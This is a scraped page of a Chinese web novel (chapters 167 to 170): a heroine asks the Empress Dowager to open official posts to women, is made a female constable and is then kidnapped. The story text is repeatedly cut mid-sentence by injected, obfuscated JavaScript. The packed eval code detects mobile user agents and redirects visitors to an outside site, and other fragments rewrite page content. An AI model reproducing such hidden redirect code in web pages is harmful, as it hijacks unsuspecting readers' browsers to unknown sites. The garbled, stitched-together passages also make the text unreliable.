我知趣的就要跪着告退,然而出乎预料,太后忽然按住了我的肩头。她扶着我站起来了。 我傻眼,不知道自己是不是被顺手当成扶手了,只忙着跟着她的节奏起身,恭敬地搀扶太后站稳。 圣上大步走了过来,直至太后身前。后者再也忍不住,终于扑到了圣上肩头痛哭。 母子二人的身影后,殿外门口,是谢宁轩正朝我招手。 我缓慢松开太后的手臂,后退几步,悄无声息的离开了偏殿。 这场风波,总要圣上与太后去面对,去亲手解开心结。 “怎么样,太后问你什么了?”一出宫殿,谢宁轩就拉住我的手焦急的上下打量,不住地问,“难为你了吗?你还好吗?” 我三言两语将方才的经过讲述,听得谢宁轩频频蹙眉,手劲都不知觉大了。“太冒险,实在太冒险了。若是太后狠心,你恐怕会有危险。” 我回握住谢宁轩的手,也深感后怕。 还好,我赌对了,太后依然是当年那个热血热心肠的良善、护短之人。 “你们呢,把真相和圣上说了吗?” “嗯。”谢宁轩也简单说了两句,瞟一眼殿门,压低了声音嘱咐,“羽书,如果我没有料错,圣上等下就会传召你,要给你赏赐。你应下便可,这本就是你的功劳,但别提……” 话没说完,郡主匆匆跑来,说皇后叫我们过去。 谁知,皇后问的也是同样的问题。显然,她也正担心太后的怒火会波及自己。 趁此关头,我还将沈渊博旧案半真半假解释完毕,保证陈家不会据此连累,算是保住了我们的交易,皇后颇为满意。 “茹贵人呢?”我回头看了看门边,后知后觉的意识到,方才的话可不能让她听见啊。 郡主冷哼一声:“谋算本郡主和宁轩哥,还打量着能活吗?” “啊,她……” “不要操心旁人了,义妹,你……”三殿下说,但话头再一次被打断。脚步声响起,圣上与太后竟就出来了。 糟了,谢宁轩刚说什么来着,别提什么?三殿下又要嘱托什么,我都还没听完啊! 对比进去前的紧绷僵硬,此刻的太后身形舒展,表情稍霁。圣上扶着太后走到正殿上首坐下,亦对着皇后首肯,让皇后也坐下。 皇后肩头微微塌了,明显松了口气。 “宁轩,宁叙,此案核查到此就算告一段落了,其余不必再查。” 谢宁轩与三殿下毫不意外,齐齐应声。 “今天的对话,除了殿中这些人,朕不希望还有旁人知悉,你们明白吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642874|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “明白。” “好了,朕说过,此案盘桓在朕心头,如有能破案者重赏。宁轩,宁叙,你们说吧,想要什么?” 三殿下上前一步:“回圣上,此案微臣与宁轩的确核查了一年之久,亦翻查人证、物证无数,但微臣惶恐,此案最终却并非我二人查证。” 郡主听到圣上要赏赐,早就把一开始的畏惧抛到脑后了,这会儿也不顾忌,直接说道:“是啊圣上,这案子是阳远的义妹查出来的嘛!” 虽然早知道他们会为我铺路,我此刻还是忐忑不安。别弄巧成拙,让圣上反感呐。 但圣上真的没有发火,只是看向了太后。在我的胆战心惊中,后者竟然也点了点头。 不追究我身份作伪,藏匿后宫,翻查宫廷秘案了? 我真是赌对了! “好吧,王氏羽书是吧?朕一诺千金,你说吧,想要什么赏赐?” 殿中所有目光都朝我投来,有皇后的审视,三殿下的鼓励,郡主的雀跃,和谢宁轩的钟情。 我咽口口水,吞下满腹的紧张,朝前走了两步。 我应该回答什么?要什么赏赐?电视剧一般的都咋演的来着,是不是可以要个诰命?女子一般都是诰命赏赐,是不是? 大脑激烈的思考着,不知为何,却有一种情愫,正不受控制的弥漫上来,逐渐席卷全身。 看着坐在上首的太后,想起琳妃与贤太嫔,想起这个深宫里的每一个女人,好似一幕幕电影画面映现。 我的心,一点一滴沉了下去。 太后文能参与科举,武能围猎拔群;琳妃一手好字不比皇子老师差;贤太嫔古琴弹得出神入化,曾打败过名满京城的琴老夫子。但是故事的最后,她们都湮没在这座宫城里,成为史书中一个符号,一个标点。 “嗯?你是有什么难言之隐吗?”圣上再次追问。 许是我们完成了嘱托,皇后投桃报李,解围道:“圣上莫急,许是女儿家有些话不好意思说。” 皇后特意在“女儿家”三个字上咬重了发音,她应该是在提醒我。 但此刻的我,脑海中竟只有一句话:女儿家,女儿家就低人一等了吗? 金夫人“女中君子”名动京城,嫁人后却只能教授自己的女儿,在她不幸遇难后,还得烧掉爱女作品,留个所谓的“清白”;何小姐遇人不淑,在这个世道中,唯有自尽寻个解脱,而她的弟弟,宁私刑报复,也不能公开姐姐的遭遇,更因缘由有违人伦,就连始作俑者都被轻判;采花大盗中的受害者,不过是人之原始欲望,就因冠上“寡妇”二字,被谋杀了,都被夫家唾弃,终成乱葬岗的一缕幽魂。 大青民风开放,海清河宴,落定在史书中,或也有“泰真之治”的美名。可于女性而言,何尝不是世道之艰。 “义妹,义妹!”郡主小声呼唤,“说话呀!大胆的提!” 三殿下剜一眼妹妹,却见上首主宰未恼,又朝谢宁轩递去眼神,似乎在说,这比想象中顺利啊。 这一刻,我脑海中只剩下了一个个不经意的说教与抱怨,一个个怀念当初的向往神情。 我的体内忽然注满了勇气,像是无数个女性都来到了我的身后,在默默地为我打气。殿中尊贵如圣上,亲近如谢宁轩,这一刻彷佛都不存在。 我只能看到太后,看到也曾渴望自由的一颗女儿心。 我朝太后走近两步,重重地跪下。虽然这个赏赐是圣上应允的,但我要的,只有太后能给我。 “禀太后,民女所请非一人之请,所求非一人所求。民女自入京以来见过无数女子束于一针一线,困于四方天地,即便她们也有着不凡的才华与能力,即便她们也有着伟大的抱负与理想。”我深吸口气,匍匐在地,语气坚定,“民女斗胆,请开先例效仿前朝,开设女官,准女性入官场,入仕途。释女性之力量,殊女性之荣光。” 168.选择 鸦雀无声,殿中安静的只有我自己短促的呼吸声。 肺腑之言一股脑道出,力气也好像随着这段话用完了。我这才清晰的意识到,这寂静有多可怕。 天哪,我又僭越了,我又找死了! 谢宁轩就事论事,申请开女捕快先例,都被弹劾,都被训斥。我区区一个民女,竟还敢得寸进尺? 我的心渐渐沉没,大海无情掀翻扁舟,如蝼蚁不被在意。我根本不敢抬头看,上面是否已风云变色。 大好局面,我又自毁了,是不是? 压抑的沉默中,是谢宁轩向前一步,要为我开脱。 然殿外忽然响起掌声,伴随着一个温厚的女声,带着笑意:“说的好呀,好一个‘释女性之力量,殊女性之荣光’。多荣赶巧,竟听到这样振聋发聩的言论。” 多荣?啊!多荣长公主,琳妃之女! 殿门打开,走进来一个身着绿色柳梢裙的女子,眉眼大气,轮廓英美,透着飒飒英姿之美。 郡主眼前一亮,登时扑上前,欢快的唤:“多荣姑母,你回来了!” 多荣长公主熟捻的抱住郡主。两相映衬,是花之含苞待放的娇媚与夏日盛极的优雅在碰撞着。 谢宁轩和三殿下亦上前一步,拱手行礼:“姑母安好。” 多荣长公主伸手示意免礼,上前朝太后和圣上福了福身:“母后,圣上,请恕多荣无礼了,未曾通报就闯进来,实在是心旌神摇。母后身子一向可好?儿臣瞧着气色更好了些呢。” 太后面色柔善,又现面对郡主时的慈蔼可亲。她伸手招养女上前,拉着她坐到自己身侧,慈声问:“怎么今天就到了,不是传信说,还得几天功夫吗?” “儿臣挂念母后,自然行的快些。”多荣长公主也亲昵的说,竟有些郡主当日撒娇的劲儿。 圣上嘴角也挂起笑意,与皇姐寒暄数句,还问起她的孩子一道上京了没,聊的都是些家常。 听着话音,多荣长公主的确与圣上母子极其亲密,即便她已出嫁多年,也毫无生分。 就是你们这亲人团聚是不是挑错时间了啊,我还在青石板地上跪着呢!但我也只敢偷偷腹诽,跪姿丝毫不敢松懈。 关键时候,还是谢宁轩心疼我。他轻咳了一声,瞅准时机把跑偏的话头转了回来:“太后,圣上,今个儿这事……” 郡主跟着道:“对对,赏赐还没赏呢呀。” “姝儿!”三殿下轻斥一声,斟酌道,“圣上,太后,微臣等在此,妨碍了姑母和您二位说体己话。要不,微臣等就先告退吧?” 这是想以退为进,走为上计?也好,赶紧离开吧,我的小衣都湿透几次了! 熟料,圣上未语,多荣长公主却轻笑一声:“这是怪本宫来的不是时候了?呦,殿中怎么还跪着位姑娘,莫非方才那番慷慨陈词就是她说的?” 我莫名觉得长公主的语气颇玩味,调侃,但好像不是轻蔑。 正忐忑不安,她已转向谢宁轩,突然问,“怎么,宁轩,这就是你的心上人?” 这话一出,吓得我腿一软,本来跪着,差点扑倒。 多荣长公主怎么知道! 然而诧异的不止我一个,谢宁轩也和三殿下交换了个眼神。 郡主心直口快,直接问道:“姑母怎么知道?” 回答的竟是圣上,语气懒懒:“就是她,宁轩看中的女捕快人选,怕是还要娶进门呢。” 怎么回事!圣上也知道! 我彻底方了,求助的觑向谢宁轩,却见他的慌张一闪而过,竟露出若有所思的神情。 捕捉到我的视线,他竟还微笑眨眼,旋即便大步上前,朗声道:“圣上与姑母,既然都知微臣心意,微臣也不能隐瞒了。这位王姑娘确系微臣挑中担任女捕快的人选,她也证明了自己的能力,绝对够格。另则,微臣也实在对她钟情爱慕,愿尽余生之慷慨,与她朝夕不离,三餐与共。还请圣上成全,赐婚于我二人。” 掷地有声的宣言一出,我眼眶骤然生热,纵然此种环境下,仍免不了心潮澎湃。 余光中,三殿下谆谆带笑,郡主双手捂嘴,又惊讶又佩服的看着谢宁轩。 皇后抿嘴未言,多荣长公主却弯着嘴角,带着一丝笑容。 我不敢偷瞄另两位大佬,只觉头顶燃着道道视线,压得我越发不敢起身。 圣上一时未言,唯太后轻哼一声,似乎有些不赞同。 我又开始紧张的直冒烟了。 这时,多荣长公主侧了侧头,忽然转了话锋:“母后,儿臣不合时宜,想起来一个人。当年,她也是那么大胆,那么孤傲。半倾宫城刀光剑影,人人惶遽。一介女流如她,也敢持着捡来的剑,挡在咱们前方。儿臣被流矢所伤,消息传不出去,不也是她泰然镇定,拿着自己从不离身的药包,就在外面震天撼地的厮杀声中,冷静、从容的为儿臣拔箭、清洗伤口、包扎吗?儿臣瞧着她的侧脸,竟是前所未有的钦佩。母后,你可还记得?” 这、这说的……难道是…… 我犹疑地觑向谢宁轩,就见他侧目垂睫,梨涡淡淡隐现。 殿中又沉默了。 “至于这女子入仕途的想法嘛……”多荣长公主又道。 谢宁轩马上接口:“禀圣上、太后,王姑娘心系天下女子,为世道求恩典,而非只顾己身荣华富贵,要诰命要赏赐,是为无私;当面直言而非背后苟且,更无煽动群起之愤,是为勇气。请圣上、太后明鉴。” 三殿下亦开口解围:“圣上、太后,微臣以为,义妹所言虽意外,但并非惊世骇俗、狂妄悖逆之语,实乃义妹察天下女子之不易而发出的请求。当然,开设恩科招收女子,需要朝廷论证,非一朝一夕可决定。义妹此言并非以恩赐迫圣上,只是如实陈情而已。” 犹如从云端被拉回地面,没着落的惶惶,我更加意识到,这个突发奇想的请求有多艰难。 千万别以为我自恃有功,妄图左右朝政啊。 然而谢宁轩和三殿下相继求情,太后和圣上却一言不发,多荣长公主竟也没说话。 怎么回事,圣上和太后还是恼怒了? 我趴在地上半点不敢抬头,心头大骇。 这时,皇后开腔了,声线平平,但还是能听出不悦:“王姑娘这请求,有些不符合女德了。后宫中就别提朝政了,换个恩典吧。或许,”皇后停顿了一下,提醒的意味明显,“想想你的未来,想想你的身份。” 身份?这还是暗示我该要个诰命? 我正不知所措,郡主也说话了,带着几分讨好,几分试探。“太后、圣上,义妹所求太宏大了。阳远觉得,那女捕快的提议,或许……义妹聪颖过人,比那京城府衙的捕头加起来脑子都好使,帮了府衙很多忙呢,阳远觉得……” “姝儿!”三殿下小声喝止。 殿内又恢复到寂静状态。 得,我的小衣又汗湿了。 但这次,寂静并未持续,太后开口了。 “多荣乍一提及,倒让哀家也想到了故人。”太后平静地说,不知为何,还带着几许倦意,“呵,这小女子,还真有几分她当年的勇敢。圣上啊,哀家看着她,亦想起了哀家年少时,也曾这样莽撞、这样大胆。那时高宗皇帝拿着哀家的试卷,说了句‘后生可畏,女子亦同’,就点了哀家入宫。圣上,说句体己话,若我大青真的设有女官,像前同朝一样,你觉得,哀家能不能封相拜侯?” 太后果真想到了当年的自己。我的颤抖减轻了一些。 圣上当即回答:“母后才高德昭,若居于朝政之中,定然有一番作为,成就也定不会亚于前同朝的女相卓娅。” 太后浅浅笑了:“世上能有几个卓娅?不过,前同朝屡出昏君,百姓遭殃,我大青受上天指示解救万民于水火之中,祖宗基业断不可轻易变之。” 啊,太后也不赞成? 熟料,太后话锋一转:“不过阳远方才所言么……王羽书,你起身吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655375|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我惶恐的抬头一觑,见太后、圣上、皇后与多荣长公主,全瞧着我,只得麻利爬起。 “哀家本以为,你所请的,无非姻缘、无非诰命,”太后继续说道,“却没想到,你将宁轩心愿放在心上,竟还有着更宏大的理想。是哀家小看了你。今日听你说话分析,条理清晰,逻辑通畅,是个聪明的孩子。圣上,你说呢?” 圣上沉吟未语。 “既如此,哀家认为,圣上一言九鼎,答应了的恩赐不赏不妥,倒不如像阳远所说,折中取之。准了宁轩所请,弹劾一事便也可终了。” 啊?这是什么意思,允准我做女捕快? “母后思虑周全。”多荣长公主轻笑道,“不过是个捕快,小吏而已,哪里算得上入仕作官,改变祖制呢?多荣瞧着,言官弹劾是过于夸张了。” 谢宁轩则借坡下驴:“之前微臣未得圣上授意,私自带府衙以外的人出入刑案调查现场,的确是微臣违规,言官弹劾亦有道理。只是,女捕快设定之必要,微臣已多次上书解释,还请圣上看在刑案查察之不易的份上,允微臣所请。” “必要?”圣上玩味的品着,在唇齿间滚动,旋即指着我道,“宁轩,你这心上人和你倒是同声共气。但你们要的赏赐,这可是两桩了吧?朕一言九鼎,说好的重赏绝不食言。然一功一赏,你二人也只能要一个赏赐。” 圣上含了几许打趣的玩笑意,“朕现在再问你们一次,是要朕给她一个诰命,抬高身份,赐婚你二人,还是要开女捕快的先河,准她做你的手下?宁轩,王羽书,你二人可想好了,如此重赏,怕是没有第二回了。” 我心神一震,错愕的理解了圣上的话,忍不住看向谢宁轩,他也正回望着我。 四目相对,我看到了深切的渴望,如我一般对彼此的向往。这个机会,我们都等了太久,名正言顺、正大光明的在一起。 粉镯已经带上手腕,还能有什么阻止我们? 一纸婚书,不过是一纸婚书。 殿中又陷入了鸦雀无声,所有人都望着我们。在这种情势下,谢宁轩还是伸出了手,放在我身前,坚定地说:“但使两心相照,无灯无月何妨。” 好像一幕话剧,顶灯在一盏盏熄灭,唯聚焦着我们的那一盏,越发明亮。 我眼中只能看到他,看到他理解、支持、包容着我的心。 知音世所稀。 我递出了自己的手,粉镯在腕间轻荡。“不辞青山,相随与共。” 双手叠在一起的温度,就够了。 剧目仍要进行,谢宁轩牵住我的手,齐齐跪拜,他凝声道:“先天下而小我。羽书与微臣心意相通、所求相同,都愿昭素明月、世间无冤,我大青蒸蒸日上,国祚永昌。至于旁的,我心子所达,子心我所知,微臣与羽书丹青着明誓,无转无移千万年。” “宁轩!” “义妹!” 两声惊呼,我知道,是三殿下和郡主在为我们惋惜。 然而,较之我与谢宁轩的释怀,郡主二人的叹息,上首四位掌权者,明显气氛不同。 皇后沉默不语,唯一双明亮的眼,又现皎洁月色。 多荣长公主直接笑嗔:“圣上可真会折磨人,你这不是逼着宁轩终身不娶吗?来日齐王弟知道,不得来讨说法呐。” “好了,圣上,莫要逗趣他们了。”太后也道,语气颇为松弛。 嗯?怎么回事? 我又有点方,莫名发现谢宁轩的肩膀也塌了下来。 无人给我解释,圣上旋即便笑:“行了,朕准了便是。宁轩,宁叙,你们都下去吧,今日的事,善后工作做好,明白吗?” 谢宁轩和三殿下齐齐应声,今日面圣竟就这样结束了。 及至出宫马车上,我都云里雾里。总觉得今天一波三折,处处都是虎头蛇尾,奇奇怪怪。 眼看宫门阖上,我放下马车帘就问:“谢宁轩,圣上最后那句‘准了’,是什么意思啊?我真要去做女捕快了?” 169.出宫 “是呀,这不也是你的理想吗?”谢宁轩笑得温柔,伸手拉我入怀。 一堆疑问正压在我的心口,哪有心思甜蜜呀,我推开他,丢出一连串问题。 “这就行了?不是说圣上对你之前的提议很反感吗,为什么这么容易又答应了?我明显觉得几次可能会触怒他的话头,或者没交代清楚的细节,他都没有生气、没有追问。这很不寻常啊!” “那是因为春分事后,我面见他,已将你我相知相遇和盘托出,秋水县种种,南下怎么就那么久,原原本本,一五一十。” 谢宁轩说的风轻云淡,落在我耳中却是惊愕无比。“你全说了,天哪,你不怕……” “怕?更怕有心之人掐头去尾、刻意将京外种种禀告给圣上,歪曲成你我隐瞒、甚至欺君。与其来日圣上质问,不如釜底抽薪,我亲自、如实的禀告,反而令圣上消气。你瞧,茹贵人果真找到机会溜出去,向太后告密了吧?” 一想到茹贵人吐出的血水,我仍心有余悸。 “茹贵人她……嗯,处死了吗?郡主说……” “褫夺封号,幽禁冷宫。”谢宁轩沉声道,“不止是他,其他人的作为我也一并告知了,处置这两天就能下来。” “嗯?那陈尧昇……” “自然是为他开脱了,咱们答应皇后了嘛。” 我点点头,又问起另一个人。 谢宁轩偏偏头,也未作答,只叹息一句。 我跟着沉默数秒,才又继续问道:“你说处置他们,那就代表圣上不恼怒你了?听了你我的往来。” 谢宁轩淡笑:“圣上恼怒,更多还是在于我事先不打招呼,一意孤行,非得对着干,白白招来弹劾,让他也难做。我这积极主动的交代,他也就明白了。当然,你今天查清案子,让琳妃之死真相大白,才令他真正对你改观。另外,就是我父王和多荣姑母,肯定也出力了呗。” 齐王我明白,多荣长公主是怎么回事? “你事先告知长公主,请她当说客了?” “还真没有。” “那她怎么会帮我?今天我听她和圣上的对话,毫不避讳,我都一度以为是圣上告诉她的呢。” 谢宁轩点头,竟说:“你没猜错,就是。” 圣上和多荣长公主虽非一母同胞,却自幼一起长大,及至高岭事变后者被牵连,也没有动摇过二人的姐弟情谊。在珍妃的掩护下,圣上时不时接济姐姐。而等到圣上登基,长公主恢复尊崇地位,就立即开始为弟弟坐稳江山而奔走。 三王之乱祸乱宫廷,长公主更是替养母挡下了致命的流矢。 “姑母和圣上关系之亲近,无出其右。现在看,这次弹劾我的奏本一出,他也问姑母意见了。” “那长公主,还挺疼你的啊,愿意为你说话。” 谢宁轩垂睫,轻声道:“也是看在我母亲救过她的份上。” 母亲? 啊,长公主和太后提及的故人,真的是谢宁轩的母亲! 是的,是的,谢宁轩也讲过,他母亲在三王之乱最后一战的京城镇压中,救了长公主,进而被太后刮目相看。以至于平息后,太后都默许了她的王妃身份。是齐王一时头脑发热,才酿成苦果。 “姑母具体和圣上怎么说的,我不知道。但姑母这个人,和京城其他闺阁小姐都不一样,她不喜诗书,却向往戎马快意的人生,挑选驸马也都是从武将中选。当年,父王一意孤行,非要践行与镇国将军的承诺,太后和圣上见状,也就由着他了。唯有姑母,亲至齐王府劝阻,还和我父王吵过架呢。” 我听得入神,又想起王妃携二公子去长公主封地住过。咦,那长公主没有引起迁怒镇国将军之女,后来的齐王妃呀? “有什么可迁怒的,错,本来就在我父王,不是吗?母妃将我视如己出,待我用心之重,姑母和太后也都看在眼中,自然不会对她有什么意见。”谢宁轩顿了顿,将话题拉回今时今刻。 “姑母应当是出于维护我的目的,劝了圣上。这真是意外之喜。本来,我忧心你入宫的事走漏风声,也请求父王母妃替你说情。无奈今天给皇后交差,没打算让你到御前陈情,自然也就没提前请他们入宫。竟差点因皇后疏忽害了你。” 说着,谢宁轩又现后怕之色,紧紧的拥住了我。 我亦回抱着他,柔声道:“没事,这不是没事了吗?说明我福大命大,是不是?” “是,当然是你聪慧勇敢,解了太后和圣上的心结,首功呐。不过,明日还是随我去趟公主府,好好谢谢姑母吧。” 我点点头:“嗯,应该的。琳妃的案子这就算结束了吧?圣上说不用再查其他,是真的吗?” “是,此案既已查清,就莫要再提了。圣上要的无非是知情权,他知道了,也就够了。事实上,假如查出来结果不同,当日那三个人也都不在了,为了皇室名声,圣上也不会做什么的。” “那太后呢?太后不会秋后算账吧?” “太后是聪明人,其实你劝谏她的话,多少有替她开脱的成分。但你给出的结论,却帮她解除了心中的重担,她喜欢这个答案,也需要这个答案。因为她内心里很清楚,琳妃之死不查个水落石出,圣上不可能罢休。她只是害怕面对,不想面对罢了。如今,他们母子将话都说清楚,隔阂也好、心结也罢,通通除掉,太后只会高兴。” “那就好。你不知道,我听到太后在你陈情后哼了一声,真的吓坏了,还以为对我仍旧大不满,还要处置呢。” “放心吧。”谢宁轩温柔的抚着我的背,“不会有问题了。太后首要在乎的,你帮她化解了,这就是大功一件。也是你运气好,太后年轻时也是个很有主见很独特的女子,她想起了当年的自己,才会感同身受。” 唔,这大抵也是为什么郡主并非自己亲孙女,却能得太后非常宠爱的原因吧。看着蹦蹦跳跳、练练洒脱的郡主,总能让太后想到当年闺阁时,意气风发的自己。 还有多荣长公主,这祖孙三人,是朝阳行至夕阳。然一脉相承,心性、品格,却也是相通的。 “至于弹劾,说实话,我觉得太后在意的点和圣上不同。带府衙以外的人查不查案,她并不关心,主要还是忧虑弹劾奏章说的,狐媚之人勾了我的魂。既发现你并非祸水,气也就消了一半。” 我长舒口气:“也不气你了吧?之前她指责你辜负了她对你的宠爱,我瞧着,她真是动怒了。” “没事。我和三殿下奉旨查案,她气又能气什么,不过嘴上不饶人罢了。心魔已除,圣上也没了心结,她回过神来,或许还得奖赏我呢。要么你提出女子入仕之前,她能答应圣上赏赐吗?” 一听到这个,我搔搔头:“是哈,估计太后也以为我会要个诰命,没成想我这么大胆。” 谢宁轩闻言,抬头轻敲我的额头,板了脸:“你呀,是真吓人!我就怕你天马行空,或者不谙宫廷规矩,在要赏赐的时候说错话,专门想叮嘱你来着,没想到被打断,竟没来及。” “对不起,是我……” 我愧疚的说辞尚未吐露,谢宁轩已摇头道:“无需道歉,你没有做错。” 他将我的手抬起放到嘴边,虔诚的吻了吻,“羽书,你真是我见过最特别的女子了。你知道你要恩典那一刻,我听着你的话,内心有多澎拜吗?原来我爱的人心中广阔竟至包含天地,愿为世间女子求个公道,这是何等风光霁月?” 我脸一红:“我哪有你说的这么伟岸。” “你有。”谢宁轩眼眸深深,像一汪潭水深不见底,“羽书,别妄自菲薄,也别什么都往自己身上揽。案子是你查清的,要什么恩典当然是你说了算。” “可是,若没有你和义兄,我哪能那么快查清?你们做了多少工作,辛苦了那么多个日夜,好处却成我一个人了的。” “怎么就成你一个人的了?这好处难道不是我心上人的?难道不是三殿下义妹的?你既然是我们的至亲至爱,你拿到恩典,就等于我们拿到。再说,我本也打算待你查清后,由我们去面圣禀告,三殿下便可顺势为义妹讨个诰命,由皇家承认你二小姐的身份。” “谢宁轩,你……”我鼻子一酸,泪水涌了上来。 谢宁轩将我揽入怀中,抱的很紧:“羽书,我说的都是真的,别自责,好吗?” 心头松弛而甜蜜,我盯着谢宁轩微笑时明亮的眼,脸上温柔的两个梨涡,感动极了。我朝着他嫣红的嘴唇靠了上去,却被他反客为主,气息笼罩间,我忍不住紧紧拥住他,真希望这一刻永存。 待吻势慢下来,我们两个脸上都可以煎鸡蛋了,谢宁轩抱我抱的很紧,他的声音嗡嗡的,鼻音很重。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太监用尖利的嗓子回答:“禀侍郎大人,边关急报刚呈递入宫,圣上急召你和三殿下、阳远郡主回宫。” 谢宁轩神情肃穆,闻得郡主名字还是惊异道:“为何还叫郡主?” 太监低声道:“系幽州军报,称尚远侯世子受伤。” 谢宁轩眯了眯眼,挥手令太监退下等候,旋即便道:“姑母定是忧心,圣上这才招阳远去陪伴。” “长公主忧心?” “嗯,尚远侯世子便是她的儿子,如今正在边关。” 啊,对哦,二公子之前提过,多荣长公主的儿子尚武,和孟秋帆还曾在武举中对战过。这位表哥亲自砍杀鳄鱼时的威武,二公子极为推崇,赞过不止一次呢。 “那你们快去吧,不用送我回家了,拐个弯就是。” “好。”谢宁轩也没多说,看了眼午后的日头,“你回家好好歇歇,我晚上再来寻你。” 他又朝我唇间轻点一下,这才下了马车,换骑马往宫城赶。那厢,三殿下和郡主的马车已经启程返回。 我望着他们远去的背影,并没有将军报放在心上。我想,谢宁轩也是看此刻正是大白天,才放心的离去,没有多思。 所以,当马车行至南咏街的拐角处时,突如其来的数声“嗖嗖”,伴随惊呼与哀叫、倒地声,传入我的耳朵,我才会那么惊慌无措。 我颤抖着掀开马车帘,映入眼中的是弥漫的血迹,在马车夫背心处,倒地护卫的脖颈、前胸口。甚至拉车的马,身上都有三支箭。它缓慢的倒下,震得马车险些翻了。 我目睹这一切,嗓子口堵着一声尖叫,直接吓傻。 然而马车随即再次遭到袭击,有重物落在马车顶上。突如其来的力道,让马车整个下陷,我毫无防备,径直被甩落,重重摔在车边倒下的护卫身上。 浓郁的血腥气直冲大脑,身体感受的痛感甚至不及此刻的恐惧,更令我手脚发麻。我想要爬起来,我想要尖声求救,我想要逃出这个死角。 在我挣扎着起身之际,一个人自车顶轻盈跳落。他用手中的刀柄,毫不留情劈向了我的脖颈。 眼前漆黑的上一秒,我只看到一张倾国倾城的脸,冷峻如霜。 170.下药 我自昏迷中醒来,不知过了多久。 脖颈火辣辣的疼,我想伸手揉一揉,手腕和胳膊随即传来痛感。我这才意识到,我被五花大绑着,根本动弹不得。 眼前倒是没有黑布,我伸伸舌头,口中也没布条塞着。 不怕我看,不怕我叫。 这是笃定万无一失,这是打算杀我灭口? 我发出的动静被外面人听到,旋即推门进来。木门发出“吱呀”的声音。 来人立在门口的一瞬间,较之屋内昏暗,他背后的光晕,极不自然。他就像是从仙境走下来的仙子,美到不像世间的凡人。 是孟秋帆。 今日他未着铠甲,粗布麻衣,发髻也垂着几许,与那日我见到的凛凛威武完全不同,大抵是刻意装扮,以掩盖身份。 但颜如冠玉、宸宁之貌,是无论如何也掩盖不了的。 他走进来,将门关上。我听到稀稀疏疏的雨声,打在春木蓬勃上,与他此刻阴鸷的眼神,形成鲜明的对比。 我垂下眼帘,也冷笑了一声。 不同于刚刚意识到我被袭击的恐慌,在我看清来人面容的那一刻,我就已经冷静下来,也意识到,在凤仪宫没听完整的那句话是什么。 “私离营地”——彼时谢宁轩和三殿下,正讨论孟秋帆私离营地的事。 而孟秋帆,来人既然是他,他图什么,他想干什么,他背后是什么人,我早就一清二楚了。还有什么可怕的? 孟秋帆也听到了我的冷笑,他拖过椅子在我面前坐下,寒声问:“你笑什么?” 剑眉微蹙,竟丝毫不改他的美貌。 我毫不畏惧的抬头看他,不答反问:“原来你没有聋?那你明媒正娶的娘子被辱时,你听不见她的求救声吗?” 一层寒霜浮于他的眼中,被恨意碎裂。 他抱臂靠在椅背上,用事不关己的语气道:“她硬要嫁入孟府,攀这门富贵,那我给不了她的,我弟给她,不一样吗?哦,还有个姓方的,也是一等一的高门,于她何家出身,算不得辱没,她该高兴才是。” 高兴?高兴你妈个头! 怒气上涌,我握住拳头。若不是我被绑着,就算打不过,我也要给这个禽兽一记耳光。 “你既不愿意,当日不娶就是。何苦应下一桩你不满意的婚事,又要瞧不起人,乃至不把人当人!”我终是忍不住,拔高声线质问。 孟秋帆纹丝不动,语气波澜不惊:“娶了她,我才能入伍。仅此而已。” 入伍? 我霎时想到垂云垂柳曾经的八卦,说孟秋帆正是新婚后入的羽林军,及至新婚妻子死亡,则调往了西域。 而在此之前,即便他中过武举,他母亲也不准他从军,以免重蹈覆辙。 “所以……”我瞪着他,难以置信竟有人这般丧心病狂,“所以你只是为了让你母亲放开手,就不惜牺牲一个无辜女子的清白,乃至她的性命?” “什么叫我牺牲她的清白?”孟秋帆竟还反问,“我可碰都没碰过她。” “那孟秋堂,孟秋堂……他居然形容我姐姐像处子一样……”何慕卿凄厉的声音在耳边乍然响起,我震惊无比。原来孟秋帆根本没有和何小姐行夫妻之实。 怪不得他婚后驻守在京城,也根本不回家;怪不得孟秋堂对辱嫂恶行念念不忘,多年后还有肖想。 “为什么,为什么!”我听到自己的声音,也不受控的颤抖起来,“你、你根本不好女色,是不是!那你可以和离,可以休妻,新婚后你已经如愿入伍了,为什么不放她走!你锁着她在孟府,又根本不想要她!” 有隐隐的青筋在太阳穴抖动,孟秋帆的面色终于有了变化。 “我为什么?我为什么!你不如问问你自己,问问你们女人有多贪得无厌!孟府大娘子的地位有了,还想要我行那苟且之事,还大言不惭说什么生个孩子!不要脸,下作!”孟秋帆倏地站起,怒火中烧,“还敢应我母亲的要求,给我的茶水下药!” 我被孟秋帆寥寥数语中蕴含的巨大信息量震撼,一时无言。 孟秋帆却似被触到痛点,大发雷霆,自顾自一股脑全说了出来。 